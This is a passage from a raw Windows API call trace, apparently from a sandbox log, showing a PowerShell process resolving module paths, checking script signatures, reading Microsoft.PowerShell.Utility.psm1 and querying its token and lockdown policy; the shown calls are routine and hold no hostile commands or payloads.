lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x572d114 | out: lpFileInformation=0x572d114*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0131.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ce4c) returned 1 [0131.257] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.260] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0131.261] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0131.261] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x59, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x58 [0131.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ce50) returned 1 [0131.261] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x572d114 | out: lpFileInformation=0x572d114*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0131.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ce4c) returned 1 [0131.355] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0131.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0131.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0131.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0131.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0131.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0131.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0133.973] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1")) returned 0x20 [0133.974] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.974] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.974] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x572ce74, Length=0x20, ResultLength=0x572cee4 | out: SystemInformation=0x572ce74, ResultLength=0x572cee4*=0x0) returned 0xc0000003 [0133.974] GetSystemInfo (in: lpSystemInfo=0x572cef0 | out: lpSystemInfo=0x572cef0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0133.974] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x572ce80 | out: phkResult=0x572ce80*=0x56c) returned 0x0 [0133.975] RegQueryValueExW (in: hKey=0x56c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x572ce9c, lpData=0x0, lpcbData=0x572ce98*=0x0 | out: lpType=0x572ce9c*=0x0, lpData=0x0, lpcbData=0x572ce98*=0x0) returned 0x2 [0133.975] RegCloseKey (hKey=0x56c) returned 0x0 [0133.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572cc24) returned 1 [0133.975] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x217f8e4 | out: lpFileInformation=0x217f8e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0133.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572cc20) returned 1 [0133.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.975] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572cbe4) returned 1 [0133.975] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x572cea8 | out: lpFileInformation=0x572cea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0133.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572cbe0) returned 1 [0133.976] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.976] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.976] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.976] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572cb78) returned 1 [0133.976] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x572ce3c | out: lpFileInformation=0x572ce3c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0133.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572cb74) returned 1 [0133.976] CoTaskMemAlloc (cb=0x10) returned 0x5c6c178 [0133.976] CoTaskMemAlloc (cb=0x10) returned 0x5c6c190 [0133.976] CoTaskMemAlloc (cb=0xe4) returned 0x3b3fa0 [0133.976] CoTaskMemAlloc (cb=0x30) returned 0x3e9d00 [0133.976] WinVerifyTrust () returned 0x800b0100 [0133.990] CoTaskMemFree (pv=0x5c6c178) [0133.990] CoTaskMemFree (pv=0x3e9d00) [0133.990] CryptCATHandleFromStore () returned 0x340e40 [0133.990] WTHelperGetProvSignerFromChain () returned 0x0 [0133.990] CoTaskMemAlloc (cb=0x10) returned 0x5c6c178 [0133.990] CoTaskMemAlloc (cb=0x30) returned 0x3e9d00 [0133.990] WinVerifyTrust () returned 0x0 [0133.990] CoTaskMemFree (pv=0x3e9d00) [0133.990] CoTaskMemFree (pv=0x5c6c178) [0133.990] CoTaskMemFree (pv=0x3b3fa0) [0133.990] CoTaskMemFree (pv=0x5c6c190) [0133.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572ce30) returned 1 [0133.991] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x56c [0133.991] GetFileType (hFile=0x56c) returned 0x1 [0133.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572ce2c) returned 1 [0133.991] GetFileType (hFile=0x56c) returned 0x1 [0133.991] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ce6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ce6c*=0) returned 0x0 [0133.992] ReadFile (in: hFile=0x56c, lpBuffer=0x21810f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ce98, lpOverlapped=0x0 | out: lpBuffer=0x21810f8*, lpNumberOfBytesRead=0x572ce98*=0x1000, lpOverlapped=0x0) returned 1 [0133.992] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ce6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ce6c*=0) returned 0x1000 [0133.992] ReadFile (in: hFile=0x56c, lpBuffer=0x21810f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ce98, lpOverlapped=0x0 | out: lpBuffer=0x21810f8*, lpNumberOfBytesRead=0x572ce98*=0x1000, lpOverlapped=0x0) returned 1 [0133.992] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ce6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ce6c*=0) returned 0x2000 [0134.040] ReadFile (in: hFile=0x56c, lpBuffer=0x21810f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ce98, lpOverlapped=0x0 | out: lpBuffer=0x21810f8*, lpNumberOfBytesRead=0x572ce98*=0x1000, lpOverlapped=0x0) returned 1 [0134.040] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ce6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ce6c*=0) returned 0x3000 [0134.040] ReadFile (in: hFile=0x56c, lpBuffer=0x21810f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ce98, lpOverlapped=0x0 | out: lpBuffer=0x21810f8*, lpNumberOfBytesRead=0x572ce98*=0x1000, lpOverlapped=0x0) returned 1 [0134.040] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ce6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ce6c*=0) returned 0x4000 [0134.040] ReadFile (in: hFile=0x56c, lpBuffer=0x21810f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ce98, lpOverlapped=0x0 | out: lpBuffer=0x21810f8*, lpNumberOfBytesRead=0x572ce98*=0x1000, lpOverlapped=0x0) returned 1 [0134.041] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ce6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ce6c*=0) returned 0x5000 [0134.041] ReadFile (in: hFile=0x56c, lpBuffer=0x21810f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ce98, lpOverlapped=0x0 | out: lpBuffer=0x21810f8*, lpNumberOfBytesRead=0x572ce98*=0x1000, lpOverlapped=0x0) returned 1 [0134.041] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ce6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ce6c*=0) returned 0x6000 [0134.041] ReadFile (in: hFile=0x56c, lpBuffer=0x21810f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ce98, lpOverlapped=0x0 | out: lpBuffer=0x21810f8*, lpNumberOfBytesRead=0x572ce98*=0x1000, lpOverlapped=0x0) returned 1 [0134.041] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ce6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ce6c*=0) returned 0x7000 [0134.041] ReadFile (in: hFile=0x56c, lpBuffer=0x21810f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ce98, lpOverlapped=0x0 | out: lpBuffer=0x21810f8*, lpNumberOfBytesRead=0x572ce98*=0x778, lpOverlapped=0x0) returned 1 [0134.041] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ce6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ce6c*=0) returned 0x7778 [0134.042] ReadFile (in: hFile=0x56c, lpBuffer=0x2180804, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x572ce98, lpOverlapped=0x0 | out: lpBuffer=0x2180804*, lpNumberOfBytesRead=0x572ce98*=0x0, lpOverlapped=0x0) returned 1 [0134.042] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x572ce6c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572ce6c*=0) returned 0x7778 [0134.042] ReadFile (in: hFile=0x56c, lpBuffer=0x21810f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572ce98, lpOverlapped=0x0 | out: lpBuffer=0x21810f8*, lpNumberOfBytesRead=0x572ce98*=0x0, lpOverlapped=0x0) returned 1 [0134.042] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x572ce00, Length=0x20, ResultLength=0x572ce70 | out: SystemInformation=0x572ce00, ResultLength=0x572ce70*=0x0) returned 0xc0000003 [0134.042] GetSystemInfo (in: lpSystemInfo=0x572ce7c | out: lpSystemInfo=0x572ce7c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0134.043] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x572ce0c | out: phkResult=0x572ce0c*=0x568) returned 0x0 [0134.043] RegQueryValueExW (in: hKey=0x568, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x572ce28, lpData=0x0, lpcbData=0x572ce24*=0x0 | out: lpType=0x572ce28*=0x0, lpData=0x0, lpcbData=0x572ce24*=0x0) returned 0x2 [0134.043] RegCloseKey (hKey=0x568) returned 0x0 [0134.043] CloseHandle (hObject=0x56c) returned 1 [0134.764] CoCreateGuid (in: pguid=0x572cf40 | out: pguid=0x572cf40*(Data1=0x893a11ac, Data2=0xc213, Data3=0x4cd8, Data4=([0]=0xa2, [1]=0xd3, [2]=0x41, [3]=0x6f, [4]=0x76, [5]=0xdc, [6]=0x69, [7]=0x62))) returned 0x0 [0134.765] GetTokenInformation (in: TokenHandle=0x564, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x572cf0c | out: TokenInformation=0x0, ReturnLength=0x572cf0c) returned 0 [0134.766] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x5c4f168 [0134.766] GetTokenInformation (in: TokenHandle=0x564, TokenInformationClass=0x8, TokenInformation=0x5c4f168, TokenInformationLength=0x4, ReturnLength=0x572cf0c | out: TokenInformation=0x5c4f168, ReturnLength=0x572cf0c) returned 1 [0134.766] LocalFree (hMem=0x5c4f168) returned 0x0 [0134.766] GetTokenInformation (in: TokenHandle=0x564, TokenInformationClass=0x9, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x572cf0c | out: TokenInformation=0x0, ReturnLength=0x572cf0c) returned 0 [0134.767] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x5c4f168 [0134.767] GetTokenInformation (in: TokenHandle=0x564, TokenInformationClass=0x9, TokenInformation=0x5c4f168, TokenInformationLength=0x4, ReturnLength=0x572cf0c | out: TokenInformation=0x5c4f168, ReturnLength=0x572cf0c) returned 1 [0134.767] LocalFree (hMem=0x5c4f168) returned 0x0 [0134.767] CheckTokenMembership (in: TokenHandle=0x564, SidToCheck=0x2220a9c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x572cf24 | out: IsMember=0x572cf24) returned 1 [0134.772] QueryPerformanceCounter (in: lpPerformanceCount=0x572ccb0 | out: lpPerformanceCount=0x572ccb0*=1177574880902) returned 1 [0134.772] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0134.772] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0134.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572c99c) returned 1 [0134.772] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x572cc60 | out: lpFileInformation=0x572cc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0134.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572c998) returned 1 [0134.773] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0134.773] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0134.773] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0134.773] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0134.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572c930) returned 1 [0134.773] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x572cbf4 | out: lpFileInformation=0x572cbf4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, 